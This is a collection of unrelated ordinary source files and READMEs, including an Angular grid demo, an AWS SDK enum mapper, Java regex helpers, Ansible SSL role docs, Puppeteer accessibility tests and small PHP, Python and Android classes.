            { name: 'OrderID', type: 'int' },
            { name: 'Freight', type: 'float' },
            { name: 'ShipName', type: 'string' },
            { name: 'ShipAddress', type: 'string' },
            { name: 'ShipCity', type: 'string' },
            { name: 'ShipCountry', type: 'string' },
            { name: 'ShippedDate', type: 'date' }
        ],
        root: 'Orders',
        record: 'Order',
        dataType: 'xml',
        id: 'OrderID',
        url: '../sampledata/orderdetails.xml'
    };

    dataAdapter: any = new jqx.dataAdapter(this.source);

    columns: any[] =
    [
        { text: 'Freight', dataField: 'Freight', cellsFormat: 'f', cellsAlign: 'right', align: 'right', width: 250 },
        { text: 'Ship Country', dataField: 'ShipCountry', width: 250 },
        { text: 'Shipped Date', dataField: 'ShippedDate', cellsAlign: 'right', align: 'right', cellsFormat: 'dd/MM/yyyy' }
    ];

    editSettings: any =
    {
        saveOnPageChange: true, saveOnBlur: true, saveOnSelectionChange: true, cancelOnEsc: true,
        saveOnEnter: true, editSingleCell: true, editOnDoubleClick: true, editOnF2: true
    };

    onCellBeginEdit(event: any): void {
        let args = event.args;
        // row key
        let rowKey = args.key;
        // row's index.
        let rowIndex = args.index;
        // row's data.
        let rowData = args.row;
        // row's index in the data source.
        let rowBoundIndex = args.boundIndex;
        // column's data field.
        let columnDataField = args.dataField;
        // column's display field.
        let columnDisplayField = args.displayField;
        // cell's value.
        let value = args.value;
        if (columnDataField == 'ShippedDate' && value) {
            value = value.getDate() + '/' + (parseInt(value.getMonth()) + 1) + '/' + value.getFullYear();
        }
        let log = this.myLog.nativeElement;
        log.innerHTML = 'cellBeginEdit - Row: ' + rowIndex + ', Column: ' + columnDataField + ', Value: ' + value + '
' + log.innerHTML;
    }

    onCellEndEdit(event: any): void {
        let args = event.args;
        // row key
        let rowKey = args.key;
        // row's index.
        let rowIndex = args.index;
        // row's data.
        let rowData = args.row;
        // row's index in the data source.
        let rowBoundIndex = args.boundIndex;
        // column's data field.
        let columnDataField = args.dataField;
        // column's display field.
        let columnDisplayField = args.displayField;
        // cell's value.
        let value = args.value;
        if (columnDataField == 'ShippedDate' && value) {
            value = value.getDate() + '/' + (parseInt(value.getMonth()) + 1) + '/' + value.getFullYear();
        }
        let log = this.myLog.nativeElement;
        log.innerHTML = '
cellEndEdit - Row: ' + rowIndex + ', Column: ' + columnDataField + ', Value: ' + value + '
' + log.innerHTML;
    }
}


text:
```shell
docker build -t="desero/docker-frontend" github.com/desero/docker-frontend
```


text:
#include <aws/cognito-idp/model/CustomEmailSenderLambdaVersionType.h>
#include <aws/core/utils/HashingUtils.h>
#include <aws/core/Globals.h>
#include <aws/core/utils/EnumParseOverflowContainer.h>

using namespace Aws::Utils;

namespace Aws
{
  namespace CognitoIdentityProvider
  {
    namespace Model
    {
      namespace CustomEmailSenderLambdaVersionTypeMapper
      {

        static const int V1_0_HASH = HashingUtils::HashString("V1_0");

        CustomEmailSenderLambdaVersionType GetCustomEmailSenderLambdaVersionTypeForName(const Aws::String& name)
        {
          int hashCode = HashingUtils::HashString(name.c_str());
          if (hashCode == V1_0_HASH)
          {
            return CustomEmailSenderLambdaVersionType::V1_0;
          }
          EnumParseOverflowContainer* overflowContainer = Aws::GetEnumOverflowContainer();
          if(overflowContainer)
          {
            overflowContainer->StoreOverflow(hashCode, name);
            return static_cast<CustomEmailSenderLambdaVersionType>(hashCode);
          }

          return CustomEmailSenderLambdaVersionType::NOT_SET;
        }

        Aws::String GetNameForCustomEmailSenderLambdaVersionType(CustomEmailSenderLambdaVersionType enumValue)
        {
          switch(enumValue)
          {
          case CustomEmailSenderLambdaVersionType::V1_0:
            return "V1_0";
          default:
            EnumParseOverflowContainer* overflowContainer = Aws::GetEnumOverflowContainer();
            if(overflowContainer)
            {
              return overflowContainer->RetrieveOverflow(static_cast<int>(enumValue));
            }

            return {};
          }
        }

      } // namespace CustomEmailSenderLambdaVersionTypeMapper
    } // namespace Model
  } // namespace CognitoIdentityProvider
} // namespace Aws


text:
[![Build](https://ci.appveyor.com/api/projects/status/fu2jsiaylryisy5t?svg=true)](https://ci.appveyor.com/project/WichardRiezebos/astar) [![NuGet](https://buildstats.info/nuget/AStarNavigator)](https://www.nuget.org/packages/AStarNavigator/) [![Join the chat at https://gitter.im/astar-navigator/Lobby](https://badges.gitter.im/astar-navigator/Lobby.svg)](https://gitter.im/astar-navigator/Lobby?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)

Portable NuGet library/package for navigating on a tile-based 2-dimensional raster/matrix.

## Prerequisites

- .NET Framework 3.5

## Installation

Install the NuGet package using the command below:

```
Install-Package AStarNavigator
```

... or search for `AStarNavigator` in the NuGet index.

## Getting started
The code below is an example how to use the library.

```
using AStarNavigator;
using AStarNavigator.Algorithms;
using AStarNavigator.Providers;

var navigator = new TileNavigator(
    new EmptyBlockedProvider(),         // Instance of: IBockedProvider
    new DiagonalNeighborProvider(),     // Instance of: INeighborProvider
    new PythagorasAlgorithm(),          // Instance of: IDistanceAlgorithm
    new ManhattanHeuristicAlgorithm()   // Instance of: IDistanceAlgorithm
);

var from = new Tile(1, 2);
var to = new Tile(20, 22);

var result = navigator.Navigate(from, to);
```


text:
package com.alterego.advancedandroidlogger.helpers;

import java.util.ArrayList;
import java.util.List;
import java.util.Map;

public class Matcher implements MatchResult {

    private java.util.regex.Matcher matcher;
    private Pattern parentPattern;

    protected Matcher() {}

    Matcher(Pattern parentPattern, java.util.regex.MatchResult matcher) {
        this.parentPattern = parentPattern;
        this.matcher = (java.util.regex.Matcher) matcher;
    }

    Matcher(Pattern parentPattern, CharSequence input) {
        this.parentPattern = parentPattern;
        this.matcher = parentPattern.pattern().matcher(input);
    }

    public java.util.regex.Pattern standardPattern() {
        return matcher.pattern();
    }

    public Pattern namedPattern() {
        return parentPattern;
    }

    public Matcher usePattern(Pattern newPattern) {
        if (newPattern == null)
            throw new IllegalArgumentException("newPattern cannot be null");
        this.parentPattern = newPattern;
        matcher.usePattern(newPattern.pattern());
        return this;
    }

    public Matcher reset() {
        matcher.reset();
        return this;
    }

    public Matcher reset(CharSequence input) {
        matcher.reset(input);
        return this;
    }

    public boolean matches() {
        return matcher.matches();
    }

    public MatchResult toMatchResult() {
        return new Matcher(this.parentPattern, matcher.toMatchResult());
    }

    public boolean find() {
        return matcher.find();
    }

    public boolean find(int start) {
        return matcher.find(start);
    }

    public boolean lookingAt() {
        return matcher.lookingAt();
    }

    public Matcher appendReplacement(StringBuffer sb, String replacement) {
        matcher.appendReplacement(sb, parentPattern.replaceProperties(replacement));
        return this;
    }

    public StringBuffer appendTail(StringBuffer sb) {
        return matcher.appendTail(sb);
    }

    public String group() {
        return matcher.group();
    }

    public String group(int group) {
        return matcher.group(group);
    }

    public int groupCount() {
        return matcher.groupCount();
    }

    public List<String> orderedGroups() {
        int groupCount = groupCount();
        List<String> groups = new ArrayList<String>(groupCount);
        for (int i = 1; i <= groupCount; i++) {
            groups.add(group(i));
        }
        return groups;
    }

    public String group(String groupName) {
        return group(groupIndex(groupName));
    }

    public Map<String, String> namedGroups() {
        Map<String, String> result = new DefaultValueMap<String, String>(null);

        if (matcher.find(0)) {
            for (String groupName : parentPattern.groupNames()) {
                String groupValue = matcher.group(groupIndex(groupName));
                result.put(groupName, groupValue);
            }
        }
        return result;
    }

    private int groupIndex(String groupName) {
        int idx = parentPattern.indexOf(groupName);
        return idx > -1 ? idx + 1 : -1;
    }

    public int start() {
        return matcher.start();
    }

    public int start(int group) {
        return matcher.start(group);
    }

    public int start(String groupName) {
        return start(groupIndex(groupName));
    }

    public int end() {
        return matcher.end();
    }

    public int end(int group) {
        return matcher.end(group);
    }

    public int end(String groupName) {
        return end(groupIndex(groupName));
    }

    public Matcher region(int start, int end) {
        matcher.region(start, end);
        return this;
    }

    public int regionEnd() {
        return matcher.regionEnd();
    }

    public int regionStart() {
        return matcher.regionStart();
    }

    public boolean hitEnd() {
        return matcher.hitEnd();
    }

    public boolean requireEnd() {
        return matcher.requireEnd();
    }

    public boolean hasAnchoringBounds() {
        return matcher.hasAnchoringBounds();
    }

    public boolean hasTransparentBounds() {
        return matcher.hasTransparentBounds();
    }

    public String replaceAll(String replacement) {
        String r = parentPattern.replaceProperties(replacement);
        return matcher.replaceAll(r);
    }

    public String replaceFirst(String replacement) {
        return matcher.replaceFirst(parentPattern.replaceProperties(replacement));
    }

    public Matcher useAnchoringBounds(boolean b) {
        matcher.useAnchoringBounds(b);
        return this;
    }

    public Matcher useTransparentBounds(boolean b) {
        matcher.useTransparentBounds(b);
        return this;
    }

    @Override
    public boolean equals(Object obj) {
        if (obj == this)
            return true;
        if (obj == null)
            return false;
        if (!(obj instanceof Matcher))
            return false;
        Matcher other = (Matcher)obj;
        if (!parentPattern.equals(other.parentPattern))
            return false;
        return matcher.equals(other.matcher);
    }

    @Override
    public int hashCode() {
        return parentPattern.hashCode() ^ matcher.hashCode();
    }

    @Override
    public String toString() {
        return matcher.toString();
    }
}


text:
Core Library for Google Client Libraries
========================================

|pypi| |versions|

This library is not meant to stand-alone. Instead it defines
common helpers used by all Google API clients. For more information, see the
`documentation`_.

.. |pypi| image:: https://img.shields.io/pypi/v/google-cloud-core.svg
   :target: https://pypi.org/project/google-cloud-core/
.. |versions| image:: https://img.shields.io/pypi/pyversions/google-cloud-core.svg
   :target: https://pypi.org/project/google-cloud-core/
.. _documentation: https://googlecloudplatform.github.io/google-cloud-python/latest/core/


text:
SSL Roles
=========

To install a certificate and its key::

    - host: localhost
      become: true
      roles:
        - role: ssl/install
          certs:
            - myapp

The certificate will available at `/etc/ssl/certs/myapp.crt`, and its key at `/etc/ssl/private/myapp.key`.

To install only the certificate and not the key::

    - host: localhost
      become: true
      roles:
        - role: ssl/import
          certs:
            - myapp
          # if no certs are given, defaults to ``ssl_name``

To generate dhparam for squid/nginx::

    - host: localhost
      become: true
      roles:
        - ssl/dhparam

Variables
---------

``ssl_name``
  Defaults to ``ssl-cert-snakeoil``
``ssl_certificate``
  Defaults to ``/etc/ssl/certs/{{ ssl_name }}.pem``
``ssl_certificate_key``
  Defaults to ``/etc/ssl/private/{{ ssl_name }}.key``
``ssl_path_certs``
  Defaults to ``/etc/ssl/certs/``
``ssl_path_keys``
  Defaults to ``/etc/ssl/private/``
``ssl_path_local``
  Defaults to ``{{ playbook_dir }}/certs``
``ssl_dhparam``
  Defaults to ``{{ ssl_path_keys }}/dhparams.pem``

Dependencies
------------

- apt
- net
- system


text:
"use strict"
var stack = []
  , middleware = {};

middleware.use = function use (fn) {
  stack.push(fn);
};

middleware.handle = function handle (req, res, out) {
  var index = 0;

  function next (err) {
    var layer = stack[index++];

    if(!layer) {
      out(req, res);
      return;
    }

    layer(req, res, next);
  }

  next();
};

module.exports = middleware;


text:
module RspecStarter
  VERSION = "2.0.1".freeze
end


text:
"""Python module for the Blender Games Engine controller interface.
This module is a diagnostic and demonstration version of the proper
blender_driver.controllers module.

This code demonstrates:

-   Use of an explicit context object in a Blender Game Engine (BGE) controllers
    module.
-   Creation of a driver object when BGE starts.
-   Storing the driver object in the explicit context.

This is the current best approach for the driver object. It is used by the
proper blender_driver.controllers module.

This module can only be used from within the Blender Game Engine."""
# Exit if run other than as a module.
if __name__ == '__main__':
    print(__doc__)
    raise SystemExit(1)

# Standard library imports, in alphabetic order.
#
# Module for perf_counter.
# https://docs.python.org/3/library/time.html
import time
#
# Local imports.
#
# Proper controllers, which have some utility subroutines.
import blender_driver.controllers
#
# Driver and Base class.
from . import driverutils
#
# Tick time dumper.
from .analysis import timing_analysis_dump

class Context(driverutils.Base):
    driver = None

class TimingDriver(driverutils.Driver):
    # Override, mostly a copy paste.
    def initialise(self, controller):
        # Assume there is only a single sensor.
        if not controller.sensors[0].positive:
            # Only take action on the positive transition.
            return
        self._counter += 1
        self._initialisePerf = time.perf_counter()
        self._tickTimes = []
        print('{} {:d} {:,.4f}'.format(
            self._name('initialise'), self._counter, self._initialisePerf))

    # Override, mostly a copy paste.
    def tick(self, controller):
        # Assume there is only a single sensor.
        if not controller.sensors[0].positive:
            # Only take action on the positive transition.
            return
        self._tickTimes.append(time.perf_counter() - self._initialisePerf)
        self._counter += 1
        print('{}{:3d} {:.4f}'.format(
            self._name('tick'), self._counter, self._tickTimes[-1]))
        if self._counter > self._maximum:
            self._terminate()

    def _terminate(self):
        print("".join((
            "Counter maximum exceeded. Counter:", str(self._counter),
            " Maximum:", str(self._maximum), ". Terminating.")))
        print(timing_analysis_dump(self._tickTimes))
        blender_driver.controllers.terminate_engine()

def initialise(controller):
    """Controller entry point for the first ever tick."""
    # Assume there is only a single sensor and only take action on the positive
    # transition.
    if not controller.sensors[0].positive:
        return

    try:
        context.driver = TimingDriver(-1, 20)
        context.driver.initialise(controller)
        print("Expect a line every tick, for 21 ticks.")
    except:
        blender_driver.controllers.terminate_engine()
        raise

def tick(controller):
    try:
        context.driver.tick(controller)
    except:
        blender_driver.controllers.terminate_engine()
        raise

def keyboard(controller):
    try:
        context.driver.keyboard(controller)
    except:
        blender_driver.controllers.terminate_engine()
        raise

context = Context()

print("".join(('Controllers module "', __name__, '" ', str(context))))


text:
<?php

final class ManiphestDefaultEditCapability extends PhabricatorPolicyCapability {

  const CAPABILITY = 'maniphest.default.edit';

  public function getCapabilityName() {
    return pht('Default Edit Policy');
  }

}


text:
package com.sun.xml.internal.messaging.saaj.util;

import java.security.AccessControlException;

/**
 *
 * @author vbkumarjayanti
 */
public final class SAAJUtil {

    public static boolean getSystemBoolean(String arg) {
        try {
            return Boolean.getBoolean(arg);
        } catch (AccessControlException ex) {
            return false;
        }
    }

    public static String getSystemProperty(String arg) {
        try {
            return System.getProperty(arg);
        } catch (SecurityException ex) {
            return null;
        }
    }
}


text:
package closure.space.collabtodo.dialog;

import android.app.Activity;
import android.app.AlertDialog;
import android.app.Dialog;
import android.app.DialogFragment;
import android.content.Context;
import android.content.DialogInterface;
import android.os.Bundle;
import android.view.View;
import android.view.Window;

import com.rey.material.widget.EditText;

import closure.space.collabtodo.helper.Procedures;
import closure.space.collabtodo.main.MainActivity;
import space.closure.collaborativetodo.R;

/**
 * Created by Jane Doe on 14.05.2015.
 */
public class ListDeleteDialog extends Dialog implements View.OnClickListener {
    Context context;
    String listid;
    Activity a;

    public ListDeleteDialog(Context context, String listid, Activity a) {
        super(context);
        this.context = context;
        this.listid = listid;
        this.a = a;
    }

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        // Customize dialog
        requestWindowFeature(Window.FEATURE_NO_TITLE);  // No title
        setContentView(R.layout.dialog_list_delete);

        // Init widgets
        findViewById(R.id.todolist_delete_sure).setOnClickListener(this);
        findViewById(R.id.todolist_cancel_delete).setOnClickListener(this);
    }

    @Override
    public void onClick(View v) {
        switch (v.getId()) {
            case R.id.todolist_delete_sure:
                Procedures.Local.deleteList(listid);
                // Remove title
                ((MainActivity) a).setTitle(context.getString(R.string.pick_list));
                dismiss();
                break;
            case R.id.todolist_cancel_delete:
                dismiss();
                break;
        }
    }
}


text:
/* Puppeteer tests for the A11y. */
const { AxePuppeteer } = require('axe-puppeteer');
const puppeteer = require('puppeteer');

jest.setTimeout(30000);

describe("Puppeteer accessibility tests for the Python Editor.", function() {
    'use strict';

    const editorURL = 'http://localhost:5000/editor.html';
    const helpURL = 'http://localhost:5000/help.html';
    let browser = null;

    beforeAll(async () => {
        // Setup a headless Chromium browser.
        // Flags allow Puppeteer to run within a container.
        browser = await puppeteer.launch({
            headless: true,
            args: ["--no-sandbox", "--disable-setuid-sandbox", "--disable-dev-shm-usage"],
            defaultViewport: {
                width: 1024,
                height: 768
            }
        });
    });

    afterAll(async () => {
        browser.close();
    });

    test('Checks the editor.html page with Axe', async () => {
        // First, run some code which loads the content of the page.
        const page = await browser.newPage();
        await page.goto(editorURL);
        await new AxePuppeteer(page).analyze();
        await expect(page).toPassAxeTests({
            // disable tab-index as we have values greater than 0
            // and h1 as we aren't using this heading
            disabledRules: [ 'tabindex', 'page-has-heading-one' ],
        });
        await page.close();
    });

    test('Checks the Load/Save modal with Axe', async () => {
        const page = await browser.newPage();
        await page.goto(editorURL);
        await page.waitForSelector("#command-files");
        await page.click("#command-files");
        await new AxePuppeteer(page).analyze();
        await expect(page).toPassAxeTests({
            // exclude everything else in main
            exclude: '.main',
            // disable checking for h1 as we aren't using this heading
            disabledRules: [ 'page-has-heading-one' ],
        });
        await page.close();
    });

    test('Checks the Snippets modal with Axe', async () => {
        const page = await browser.newPage();
        await page.goto(editorURL);
        await page.waitForSelector("#command-snippet");
        await page.click("#command-snippet");
        await new AxePuppeteer(page).analyze();
        await expect(page).toPassAxeTests({
            // exclude everything else in main
            exclude: '.main',
            // disable checking for h1 as we aren't using this heading
            disabledRules: [ 'page-has-heading-one' ],
        });
        await page.close();
    });

    test('Checks the help.html page with Axe', async () => {
        const page = await browser.newPage();
        await page.goto(helpURL);
        await new AxePuppeteer(page).analyze();
        await expect(page).toPassAxeTests({
            // exclude code highlighter
            exclude: '.hljs-comment',
            // disable checking for h1 as we aren't using this heading
            disabledRules: [ 'page-has-heading-one' ],
        });
        await page.close();
    });
});


text:
layout: post
date: 2017-04-22
title: "Alessandro Angelozzi 83 Sleeveless Aline/Princess"
category: Alessandro Angelozzi
tags: [Alessandro Angelozzi,Alessandro Angelozzi ,Aline/Princess ,Sleeveless]
---
### Alessandro Angelozzi 83
Just **$269.99**
###   Sleeveless  Aline/Princess

BRANDS	Alessandro Angelozzi

Silhouette	Aline/Princess

Sleeve	Sleeveless

Buy it: [https://www.readybrides.com/en/alessandro-angelozzi/14054-alessandro-angelozzi-83.html](https://www.readybrides.com/en/alessandro-angelozzi/14054-alessandro-angelozzi-83.html)


text:
{% extends 'base.html' %}
{% load static %}
{% block main_content %}

AWS Instance details

                                 actions

 Send email to owner

 Shutdown instance

                                    Secure ACL

Loading data, please wait...

    <link rel="stylesheet" type="text/css"
          href="http://ajax.aspnetcdn.com/ajax/jquery.dataTables/1.9.0/css/jquery.dataTables.css">

{% endblock main_content %}


text:
<?php

namespace api\modules\v1\controllers;

use yii\rest\ActiveController;

/**
 * Posts Controller API
 */
class PostsController extends ActiveController
{
    public $modelClass = 'api\modules\v1\models\Posts';
}